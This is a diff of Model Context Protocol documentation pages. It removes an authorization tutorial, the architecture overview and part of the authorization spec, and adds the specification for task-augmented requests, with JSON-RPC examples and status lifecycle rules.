context.Principal?.FindFirstValue("preferred_username") ?? "unknown"; - Console.WriteLine($"Token validated for: {name} ({email})"); - return Task.CompletedTask; - }, - OnAuthenticationFailed = context => - { - Console.WriteLine($"Authentication failed: {context.Exception.Message}"); - return Task.CompletedTask; - }, - }; - }) - .AddMcp(options => - { - options.ResourceMetadata = new() - { - Resource = new Uri(serverUrl), - ResourceDocumentation = new Uri("https://docs.example.com/api/math"), - AuthorizationServers = { new Uri(authorizationServerUrl) }, - ScopesSupported = ["mcp:tools"] - }; - }); +### Tool-Level Negotiation - builder.Services.AddAuthorization(); +Tool calls are given special consideration for the purpose of task augmentation. In the result of `tools/list`, tools declare support for tasks via `execution.taskSupport`, which if present can have a value of `"required"`, `"optional"`, or `"forbidden"`. - builder.Services.AddHttpContextAccessor(); - builder.Services.AddMcpServer() - .WithTools() - .WithHttpTransport(); +This is to be interpreted as a fine-grained layer in addition to capabilities, following these rules: - var app = builder.Build(); +1. If a server's capabilities do not include `tasks.requests.tools.call`, then clients **MUST NOT** attempt to use task augmentation on that server's tools, regardless of the `execution.taskSupport` value. +2. If a server's capabilities include `tasks.requests.tools.call`, then clients consider the value of `execution.taskSupport`, and handle it accordingly: + 1. If `execution.taskSupport` is not present or `"forbidden"`, clients **MUST NOT** attempt to invoke the tool as a task. Servers **SHOULD** return a `-32601` (Method not found) error if a client attempts to do so. This is the default behavior. + 2. If `execution.taskSupport` is `"optional"`, clients **MAY** invoke the tool as a task or as a normal request. + 3. If `execution.taskSupport` is `"required"`, clients **MUST** invoke the tool as a task. Servers **MUST** return a `-32601` (Method not found) error if a client does not attempt to do so. - app.UseAuthentication(); - app.UseAuthorization(); +## Protocol Messages - app.MapMcp().RequireAuthorization(); +### Creating Tasks - Console.WriteLine($"Starting MCP server with authorization at {serverUrl}"); - Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}"); - Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource"); - Console.WriteLine("Exposed Math tools: Add, Multiply"); - Console.WriteLine("Press Ctrl+C to stop the server"); +Task-augmented requests follow a two-phase response pattern that differs from normal requests: - app.Run(serverUrl); - ``` +* **Normal requests**: The server processes the request and returns the actual operation result directly. +* **Task-augmented requests**: The server accepts the request and immediately returns a `CreateTaskResult` containing task data. The actual operation result becomes available later through `tasks/result` after the task completes. - For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk). - - +To create a task, requestors send a request with the `task` field included in the request params. Requestors **MAY** include a `ttl` value indicating the desired task lifetime duration (in milliseconds) since its creation. -## Testing the MCP Server +**Request:** -For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/call", + "params": { + "name": "get_weather", + "arguments": { + "city": "New York" + }, + "task": { + "ttl": 60000 + } + } +} +``` -Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this: +**Response:** ```json theme={null} -"my-mcp-server-18676652": { - "url": "http://localhost:3000", - "type": "http" +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "task": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", + "status": "working", + "statusMessage": "The operation is now in progress.", + "createdAt": "2025-11-25T10:30:00Z", + "lastUpdatedAt": "2025-11-25T10:40:00Z", + "ttl": 60000, + "pollInterval": 5000 + } + } } ``` -On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope. +When a receiver accepts a task-augmented request, it returns a [`CreateTaskResult`](/specification/2025-11-25/schema#createtaskresult) containing task data. The response does not include the actual operation result. The actual result (e.g., tool result for `tools/call`) becomes available only through `tasks/result` after the task completes. - - Keycloak consent form for VS Code. - + + When a task is created in response to a `tools/call` request, host applications may wish to return control to the model while the task is executing. This allows the model to continue processing other requests or perform additional work while waiting for the task to complete. -After consenting, you will see the tools listed right above the server entry in `mcp.json`. + To support this pattern, servers can provide an optional `io.modelcontextprotocol/model-immediate-response` key in the `_meta` field of the `CreateTaskResult`. The value of this key should be a string intended to be passed as an immediate tool result to the model. + If a server does not provide this field, the host application can fall back to its own predefined message. - - Tools listed in VS Code. - + This guidance is non-binding and is provisional logic intended to account for the specific use case. This behavior may be formalized or modified as part of `CreateTaskResult` in future protocol versions. + -You will be able to invoke individual tools with the help of the `#` sign in the chat view. +### Getting Tasks - - Invoking MCP tools in VS Code. - + + In the Streamable HTTP (SSE) transport, clients **MAY** disconnect from an SSE stream opened by the server in response to a `tasks/get` request at any time. -## Common Pitfalls and How to Avoid Them + While this note is not prescriptive regarding the specific usage of SSE streams, all implementations **MUST** continue to comply with the existing [Streamable HTTP transport specification](../transports#sending-messages-to-the-server). + -For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/specification/draft/basic/security_best_practices). A few key issues are called out below. +Requestors poll for task completion by sending [`tasks/get`](/specification/2025-11-25/schema#tasks%2Fget) requests. +Requestors **SHOULD** respect the `pollInterval` provided in responses when determining polling frequency. -* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert. -* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods. -* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints. -* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens. -* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development. -* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server. -* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs. -* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control. -* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate. -* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server. -* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server. -* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server. -* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals. -* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side. +Requestors **SHOULD** continue polling until the task reaches a terminal status (`completed`, `failed`, or `cancelled`), or until encountering the [`input_required`](#input-required-status) status. Note that invoking `tasks/result` does not imply that the requestor needs to stop polling - requestors **SHOULD** continue polling the task status via `tasks/get` if they are not actively waiting for `tasks/result` to complete. -## Related Standards and Documentation +**Request:** -MCP authorization builds on these well-established standards: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "method": "tasks/get", + "params": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" + } +} +``` -* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework -* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery -* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration -* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata -* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators +**Response:** -For additional details, refer to: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 3, + "result": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", + "status": "working", + "statusMessage": "The operation is now in progress.", + "createdAt": "2025-11-25T10:30:00Z", + "lastUpdatedAt": "2025-11-25T10:40:00Z", + "ttl": 30000, + "pollInterval": 5000 + } +} +``` -* [Authorization Specification](/specification/draft/basic/authorization) -* [Security Best Practices](/specification/draft/basic/security_best_practices) -* [Available MCP SDKs](/docs/sdk) +### Retrieving Task Results -Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise. + + In the Streamable HTTP (SSE) transport, clients **MAY** disconnect from an SSE stream opened by the server in response to a `tasks/result` request at any time. + While this note is not prescriptive regarding the specific usage of SSE streams, all implementations **MUST** continue to comply with the existing [Streamable HTTP transport specification](../transports#sending-messages-to-the-server). + -# Architecture -Source: https://modelcontextprotocol.io/specification/2025-11-25/architecture/index +After a task completes the operation result is retrieved via [`tasks/result`](/specification/2025-11-25/schema#tasks%2Fresult). This is distinct from the initial `CreateTaskResult` response, which contains only task data. The result structure matches the original request type (e.g., `CallToolResult` for `tools/call`). +To retrieve the result of a completed task, requestors can send a `tasks/result` request: +While `tasks/result` blocks until the task reaches a terminal status, requestors can continue polling via `tasks/get` in parallel if they are not actively blocked waiting for the result, such as if their previous `tasks/result` request failed or was cancelled. This allows requestors to monitor status changes or display progress updates while the task executes, even after invoking `tasks/result`. -
+**Request:** -The Model Context Protocol (MCP) follows a client-host-server architecture where each -host can run multiple client instances. This architecture enables users to integrate AI -capabilities across applications while maintaining clear security boundaries and -isolating concerns. Built on JSON-RPC, MCP provides a stateful session protocol focused -on context exchange and sampling coordination between clients and servers. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 4, + "method": "tasks/result", + "params": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" + } +} +``` -## Core Components +**Response:** -```mermaid theme={null} -graph LR - subgraph "Application Host Process" - H[Host] - C1[Client 1] - C2[Client 2] - C3[Client 3] - H --> C1 - H --> C2 - H --> C3 - end +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 4, + "result": { + "content": [ + { + "type": "text", + "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy" + } + ], + "isError": false, + "_meta": { + "io.modelcontextprotocol/related-task": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" + } + } + } +} +``` - subgraph "Local machine" - S1[Server 1
Files & Git] - S2[Server 2
Database] - R1[("Local
Resource A")] - R2[("Local
Resource B")] +### Task Status Notification - C1 --> S1 - C2 --> S2 - S1 <--> R1 - S2 <--> R2 - end +When a task status changes, receivers **MAY** send a [`notifications/tasks/status`](/specification/2025-11-25/schema#notifications%2Ftasks%2Fstatus) notification to inform the requestor of the change. This notification includes the full task state. - subgraph "Internet" - S3[Server 3
External APIs] - R3[("Remote
Resource C")] +**Notification:** - C3 --> S3 - S3 <--> R3 - end +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/tasks/status", + "params": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", + "status": "completed", + "createdAt": "2025-11-25T10:30:00Z", + "lastUpdatedAt": "2025-11-25T10:50:00Z", + "ttl": 60000, + "pollInterval": 5000 + } +} ``` -### Host - -The host process acts as the container and coordinator: - -* Creates and manages multiple client instances -* Controls client connection permissions and lifecycle -* Enforces security policies and consent requirements -* Handles user authorization decisions -* Coordinates AI/LLM integration and sampling -* Manages context aggregation across clients - -### Clients +The notification includes the full [`Task`](/specification/2025-11-25/schema#task) object, including the updated `status` and `statusMessage` (if present). This allows requestors to access the complete task state without making an additional `tasks/get` request. -Each client is created by the host and maintains an isolated server connection: +Requestors **MUST NOT** rely on receiving this notifications, as it is optional. Receivers are not required to send status notifications and may choose to only send them for certain status transitions. Requestors **SHOULD** continue to poll via `tasks/get` to ensure they receive status updates. -* Establishes one stateful session per server -* Handles protocol negotiation and capability exchange -* Routes protocol messages bidirectionally -* Manages subscriptions and notifications -* Maintains security boundaries between servers +### Listing Tasks -A host application creates and manages multiple clients, with each client having a 1:1 -relationship with a particular server. +To retrieve a list of tasks, requestors can send a [`tasks/list`](/specification/2025-11-25/schema#tasks%2Flist) request. This operation supports pagination. -### Servers +**Request:** -Servers provide specialized context and capabilities: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 5, + "method": "tasks/list", + "params": { + "cursor": "optional-cursor-value" + } +} +``` -* Expose resources, tools and prompts via MCP primitives -* Operate independently with focused responsibilities -* Request sampling through client interfaces -* Must respect security constraints -* Can be local processes or remote services +**Response:** -## Design Principles +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 5, + "result": { + "tasks": [ + { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", + "status": "working", + "createdAt": "2025-11-25T10:30:00Z", + "lastUpdatedAt": "2025-11-25T10:40:00Z", + "ttl": 30000, + "pollInterval": 5000 + }, + { + "taskId": "abc123-def456-ghi789", + "status": "completed", + "createdAt": "2025-11-25T09:15:00Z", + "lastUpdatedAt": "2025-11-25T10:40:00Z", + "ttl": 60000 + } + ], + "nextCursor": "next-page-cursor" + } +} +``` -MCP is built on several key design principles that inform its architecture and -implementation: +### Cancelling Tasks -1. **Servers should be extremely easy to build** - * Host applications handle complex orchestration responsibilities - * Servers focus on specific, well-defined capabilities - * Simple interfaces minimize implementation overhead - * Clear separation enables maintainable code +To explicitly cancel a task, requestors can send a [`tasks/cancel`](/specification/2025-11-25/schema#tasks%2Fcancel) request. -2. **Servers should be highly composable** - * Each server provides focused functionality in isolation - * Multiple servers can be combined seamlessly - * Shared protocol enables interoperability - * Modular design supports extensibility +**Request:** -3. **Servers should not be able to read the whole conversation, nor "see into" other - servers** - * Servers receive only necessary contextual information - * Full conversation history stays with the host - * Each server connection maintains isolation - * Cross-server interactions are controlled by the host - * Host process enforces security boundaries +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 6, + "method": "tasks/cancel", + "params": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" + } +} +``` -4. **Features can be added to servers and clients progressively** - * Core protocol provides minimal required functionality - * Additional capabilities can be negotiated as needed - * Servers and clients evolve independently - * Protocol designed for future extensibility - * Backwards compatibility is maintained +**Response:** -## Capability Negotiation +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 6, + "result": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840", + "status": "cancelled", + "statusMessage": "The task was cancelled by request.", + "createdAt": "2025-11-25T10:30:00Z", + "lastUpdatedAt": "2025-11-25T10:40:00Z", + "ttl": 30000, + "pollInterval": 5000 + } +} +``` -The Model Context Protocol uses a capability-based negotiation system where clients and -servers explicitly declare their supported features during initialization. Capabilities -determine which protocol features and primitives are available during a session. +## Behavior Requirements -* Servers declare capabilities like resource subscriptions, tool support, and prompt - templates -* Clients declare capabilities like sampling support and notification handling -* Both parties must respect declared capabilities throughout the session -* Additional capabilities can be negotiated through extensions to the protocol +These requirements apply to all parties that support receiving task-augmented requests. -```mermaid theme={null} -sequenceDiagram - participant Host - participant Client - participant Server +### Task Support and Handling - Host->>+Client: Initialize client - Client->>+Server: Initialize session with capabilities - Server-->>Client: Respond with supported capabilities +1. Receivers that do not declare the task capability for a request type **MUST** process requests of that type normally, ignoring any task-augmentation metadata if present. +2. Receivers that declare the task capability for a request type **MAY** return an error for non-task-augmented requests, requiring requestors to use task augmentation. - Note over Host,Server: Active Session with Negotiated Features +### Task ID Requirements - loop Client Requests - Host->>Client: User- or model-initiated action - Client->>Server: Request (tools/resources) - Server-->>Client: Response - Client-->>Host: Update UI or respond to model - end +1. Task IDs **MUST** be a string value. +2. Task IDs **MUST** be generated by the receiver when creating a task. +3. Task IDs **MUST** be unique among all tasks controlled by the receiver. - loop Server Requests - Server->>Client: Request (sampling) - Client->>Host: Forward to AI - Host-->>Client: AI response - Client-->>Server: Response - end +### Task Status Lifecycle - loop Notifications - Server--)Client: Resource updates - Client--)Server: Status changes - end +1. Tasks **MUST** begin in the `working` status when created. +2. Receivers **MUST** only transition tasks through the following valid paths: + 1. From `working`: may move to `input_required`, `completed`, `failed`, or `cancelled` + 2. From `input_required`: may move to `working`, `completed`, `failed`, or `cancelled` + 3. Tasks with a `completed`, `failed`, or `cancelled` status are in a terminal state and **MUST NOT** transition to any other status - Host->>Client: Terminate - Client->>-Server: End session - deactivate Server -``` +**Task Status State Diagram:** -Each capability unlocks specific protocol features for use during the session. For -example: +```mermaid theme={null} +stateDiagram-v2 + [*] --> working -* Implemented [server features](/specification/2025-11-25/server) must be advertised in the - server's capabilities -* Emitting resource subscription notifications requires the server to declare - subscription support -* Tool invocation requires the server to declare tool capabilities -* [Sampling](/specification/2025-11-25/client) requires the client to declare support in its - capabilities + working --> input_required + working --> terminal -This capability negotiation ensures clients and servers have a clear understanding of -supported functionality while maintaining protocol extensibility. + input_required --> working + input_required --> terminal + terminal --> [*] -# Authorization -Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization + note right of terminal + Terminal states: + • completed + • failed + • cancelled + end note +``` +### Input Required Status + + With the Streamable HTTP (SSE) transport, servers often close SSE streams after delivering a response message, which can lead to ambiguity regarding the stream used for subsequent task messages. -
+ Servers can handle this by enqueueing messages to the client to side-channel task-related messages alongside other responses. -**Protocol Revision**: 2025-11-25 + Servers have flexibility in how they manage SSE streams during task polling and result retrieval, and clients **SHOULD** expect messages to be delivered on any SSE stream, including the HTTP GET stream. + One possible approach is maintaining an SSE stream on `tasks/result` (see notes on the `input_required` status). + Where possible, servers **SHOULD NOT** upgrade to an SSE stream in response to a `tasks/get` request, as the client has indicated it wishes to poll for a result. -## Introduction + While this note is not prescriptive regarding the specific usage of SSE streams, all implementations **MUST** continue to comply with the existing [Streamable HTTP transport specification](../transports#sending-messages-to-the-server). + -### Purpose and Scope +1. When the task receiver has messages for the requestor that are necessary to complete the task, the receiver **SHOULD** move the task to the `input_required` status. +2. The receiver **MUST** include the `io.modelcontextprotocol/related-task` metadata in the request to associate it with the task. +3. When the requestor encounters the `input_required` status, it **SHOULD** preemptively call `tasks/result`. +4. When the receiver receives all required input, the task **SHOULD** transition out of `input_required` status (typically back to `working`). -The Model Context Protocol provides authorization capabilities at the transport level, -enabling MCP clients to make requests to restricted MCP servers on behalf of resource -owners. This specification defines the authorization flow for HTTP-based transports. +### TTL and Resource Management -### Protocol Requirements +1. Receivers **MUST** include a `createdAt` [ISO 8601](https://datatracker.ietf.org/doc/html/rfc3339#section-5)-formatted timestamp in all task responses to indicate when the task was created. +2. Receivers **MUST** include a `lastUpdatedAt` [ISO 8601](https://datatracker.ietf.org/doc/html/rfc3339#section-5)-formatted timestamp in all task responses to indicate when the task was last updated. +3. Receivers **MAY** override the requested `ttl` duration. +4. Receivers **MUST** include the actual `ttl` duration (or `null` for unlimited) in `tasks/get` responses. +5. After a task's `ttl` lifetime has elapsed, receivers **MAY** delete the task and its results, regardless of the task status. +6. Receivers **MAY** include a `pollInterval` value (in milliseconds) in `tasks/get` responses to suggest polling intervals. Requestors **SHOULD** respect this value when provided. -Authorization is **OPTIONAL** for MCP implementations. When supported: +### Result Retrieval -* Implementations using an HTTP-based transport **SHOULD** conform to this specification. -* Implementations using an STDIO transport **SHOULD NOT** follow this specification, and - instead retrieve credentials from the environment. -* Implementations using alternative transports **MUST** follow established security best - practices for their protocol. +1. Receivers that accept a task-augmented request **MUST** return a `CreateTaskResult` as the response. This result **SHOULD** be returned as soon as possible after accepting the task. +2. When a receiver receives a `tasks/result` request for a task in a terminal status (`completed`, `failed`, or `cancelled`), it **MUST** return the final result of the underlying request, whether that is a successful result or a JSON-RPC error. +3. When a receiver receives a `tasks/result` request for a task in any other non-terminal status (`working` or `input_required`), it **MUST** block the response until the task reaches a terminal status. +4. For tasks in a terminal status, receivers **MUST** return from `tasks/result` exactly what the underlying request would have returned, whether that is a successful result or a JSON-RPC error. -### Standards Compliance +### Associating Task-Related Messages -This authorization mechanism is based on established specifications listed below, but -implements a selected subset of their features to ensure security and interoperability -while maintaining simplicity: +1. All requests, notifications, and responses related to a task **MUST** include the `io.modelcontextprotocol/related-task` key in their `_meta` field, with the value set to an object with a `taskId` matching the associated task ID. + 1. For example, an elicitation that a task-augmented tool call depends on **MUST** share the same related task ID with that tool call's task. +2. For the `tasks/get`, `tasks/result`, and `tasks/cancel` operations, the `taskId` parameter in the request **MUST** be used as the source of truth for identifying the target task. Requestors **SHOULD NOT** include `io.modelcontextprotocol/related-task` metadata in these requests, and receivers **MUST** ignore such metadata if present in favor of the RPC method parameter. + Similarly, for the `tasks/get`, `tasks/list`, and `tasks/cancel` operations, receivers **SHOULD NOT** include `io.modelcontextprotocol/related-task` metadata in the result messages, as the `taskId` is already present in the response structure. -* OAuth 2.1 IETF DRAFT ([draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)) -* OAuth 2.0 Authorization Server Metadata - ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414)) -* OAuth 2.0 Dynamic Client Registration Protocol - ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)) -* OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) -* OAuth Client ID Metadata Documents ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)) +### Task Notifications -## Roles +1. Receivers **MAY** send `notifications/tasks/status` notifications when a task's status changes. +2. Requestors **MUST NOT** rely on receiving the `notifications/tasks/status` notification, as it is optional. +3. When sent, the `notifications/tasks/status` notification **SHOULD NOT** include the `io.modelcontextprotocol/related-task` metadata, as the task ID is already present in the notification parameters. -A protected *MCP server* acts as an [OAuth 2.1 resource server](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles), -capable of accepting and responding to protected resource requests using access tokens. +### Task Progress Notifications -An *MCP client* acts as an [OAuth 2.1 client](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#name-roles), -making protected resource requests on behalf of a resource owner. +Task-augmented requests support progress notifications as defined in the [progress](./progress) specification. The `progressToken` provided in the initial request remains valid throughout the task lifetime. -The *authorization server* is responsible for interacting with the user (if necessary) and issuing access tokens for use at the MCP server. -The implementation details of the authorization server are beyond the scope of this specification. It may be hosted with the -resource server or a separate entity. The [Authorization Server Discovery section](#authorization-server-discovery) -specifies how an MCP server indicates the location of its corresponding authorization server to a client. +### Task Listing + +1. Receivers **SHOULD** use cursor-based pagination to limit the number of tasks returned in a single response. +2. Receivers **MUST** include a `nextCursor` in the response if more tasks are available. +3. Requestors **MUST** treat cursors as opaque tokens and not attempt to parse or modify them. +4. If a task is retrievable via `tasks/get` for a requestor, it **MUST** be retrievable via `tasks/list` for that requestor. -## Overview +### Task Cancellation -1. Authorization servers **MUST** implement OAuth 2.1 with appropriate security - measures for both confidential and public clients. +1. Receivers **MUST** reject cancellation requests for tasks already in a terminal status (`completed`, `failed`, or `cancelled`) with error code `-32602` (Invalid params). +2. Upon receiving a valid cancellation request, receivers **SHOULD** attempt to stop the task execution and **MUST** transition the task to `cancelled` status before sending the response. +3. Once a task is cancelled, it **MUST** remain in `cancelled` status even if execution continues to completion or fails. +4. The `tasks/cancel` operation does not define deletion behavior. However, receivers **MAY** delete cancelled tasks at their discretion at any time, including immediately after cancellation or after the task `ttl` expires. +5. Requestors **SHOULD NOT** rely on cancelled tasks being retained for any specific duration and should retrieve any needed information before cancelling. -2. Authorization servers and MCP clients **SHOULD** support OAuth Client ID Metadata Documents - ([draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)). +## Message Flow -3. Authorization servers and MCP clients **MAY** support the OAuth 2.0 Dynamic Client Registration - Protocol ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)). +### Basic Task Lifecycle -4. MCP servers **MUST** implement OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)). - MCP clients **MUST** use OAuth 2.0 Protected Resource Metadata for authorization server discovery. +```mermaid theme={null} +sequenceDiagram + participant C as Client (Requestor) + participant S as Server (Receiver) + Note over C,S: 1. Task Creation + C->>S: Request with task field (ttl) + activate S + S->>C: CreateTaskResult (taskId, status: working, ttl, pollInterval) + deactivate S + Note over C,S: 2. Task Polling + C->>S: tasks/get (taskId) + activate S + S->>C: working + deactivate S + Note over S: Task processing continues... + C->>S: tasks/get (taskId) + activate S + S->>C: working + deactivate S + Note over S: Task completes + C->>S: tasks/get (taskId) + activate S + S->>C: completed + deactivate S + Note over C,S: 3. Result Retrieval + C->>S: tasks/result (taskId) + activate S + S->>C: Result content + deactivate S + Note over C,S: 4. Cleanup + Note over S: After ttl period from creation, task is cleaned up +``` -5. MCP authorization servers **MUST** provide at least one of the following discovery mechanisms: +### Task-Augmented Tool Call With Elicitation - * OAuth 2.0 Authorization Server Metadata ([RFC8414](https://datatracker.ietf.org/doc/html/rfc8414)) - * [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html) +```mermaid theme={null} +sequenceDiagram + participant U as User + participant LLM + participant C as Client (Requestor) + participant S as Server (Receiver) - MCP clients **MUST** support both discovery mechanisms to obtain the information required to interact with the authorization server. + Note over LLM,C: LLM initiates request + LLM->>C: Request operation -## Authorization Server Discovery + Note over C,S: Client augments with task + C->>S: tools/call (ttl: 3600000) + activate S + S->>C: CreateTaskResult (task-123, status: working) + deactivate S -This section describes the mechanisms by which MCP servers advertise their associated -authorization servers to MCP clients, as well as the discovery process through which MCP -clients can determine authorization server endpoints and supported capabilities. + Note over LLM,C: Client continues processing other requests
while task executes in background + LLM->>C: Request other operation + C->>LLM: Other operation result -### Authorization Server Location + Note over C,S: Client polls for status + C->>S: tasks/get (task-123) + activate S + S->>C: working + deactivate S -MCP servers **MUST** implement the OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) -specification to indicate the locations of authorization servers. The Protected Resource Metadata document returned by the MCP server **MUST** include -the `authorization_servers` field containing at least one authorization server. + Note over S: Server needs information from client
Task moves to input_required -The specific use of `authorization_servers` is beyond the scope of this specification; implementers should consult -OAuth 2.0 Protected Resource Metadata ([RFC9728](https://datatracker.ietf.org/doc/html/rfc9728)) for -guidance on implementation details. + Note over C,S: Client polls and discovers input_required + C->>S: tasks/get (task-123) + activate S + S->>C: input_required + deactivate S -Implementors should note that Protected Resource Metadata documents can define multiple authorization servers. The responsibility for selecting which authorization server to use lies with the MCP client, following the guidelines specified in -[RFC9728 Section 7.6 "Authorization Servers"](https://datatracker.ietf.org/doc/html/rfc9728#name-authorization-servers). + Note over C,S: Client opens result stream + C->>S: tasks/result (task-123) + activate S + S->>C: elicitation/create (related-task: task-123) + activate C + C->>U: Prompt user for input + U->>C: Provide information + C->>S: elicitation response (related-task: task-123) + deactivate C + deactivate S -### Protected Resource Metadata Discovery Requirements + Note over C,S: Client closes result stream and resumes polling -MCP servers **MUST** implement one of the following discovery mechanisms to provide authorization server location information to MCP clients: + Note over S: Task continues processing...
Task moves back to working -1. **WWW-Authenticate Header**: Include the resource metadata URL in the `WWW-Authenticate` HTTP header under `resource_metadata` when returning `401 Unauthorized` responses, as described in [RFC9728 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9728#name-www-authenticate-response). + C->>S: tasks/get (task-123) + activate S + S->>C: working + deactivate S -2. **Well-Known URI**: Serve metadata at a well-known URI as specified in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728). This can be either: - * At the path of the server's MCP endpoint: `https://example.com/public/mcp` could host metadata at `https://example.com/.well-known/oauth-protected-resource/public/mcp` - * At the root: `https://example.com/.well-known/oauth-protected-resource` + Note over S: Task completes -MCP clients **MUST** support both discovery mechanisms and use the resource metadata URL from the parsed `WWW-Authenticate` headers when present; otherwise, they **MUST** fall back to constructing and requesting the well-known URIs in the order listed above. + Note over C,S: Client polls and discovers completion + C->>S: tasks/get (task-123) + activate S + S->>C: completed + deactivate S -MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in -[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3) -to indicate the scopes required for accessing the resource. This provides clients with immediate -guidance on the appropriate scopes to request during authorization, -following the principle of least privilege and preventing clients from requesting excessive permissions. + Note over C,S: Client retrieves final results + C->>S: tasks/result (task-123) + activate S + S->>C: Result content + deactivate S + C->>LLM: Process result -The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_supported`, be a subset -or superset of it, or an alternative collection that is neither a strict subset nor -superset. Clients **MUST NOT** assume any particular set relationship between the challenged -scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the -challenge as authoritative for satisfying the current request. Servers **SHOULD** strive for -consistency in how they construct scope sets but they are not required to surface every dynamically -issued scope through `scopes_supported`. + Note over S: Results retained for ttl period from creation +``` -Example 401 response with scope guidance: +### Task-Augmented Sampling Request -```http theme={null} -HTTP/1.1 401 Unauthorized -WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource", - scope="files:read" -``` +```mermaid theme={null} +sequenceDiagram + participant U as User + participant LLM + participant C as Client (Receiver) + participant S as Server (Requestor) -MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server. + Note over S: Server decides to initiate request -If the `scope` parameter is absent, clients **SHOULD** apply the fallback behavior defined in the [Scope Selection Strategy](#scope-selection-strategy) section. 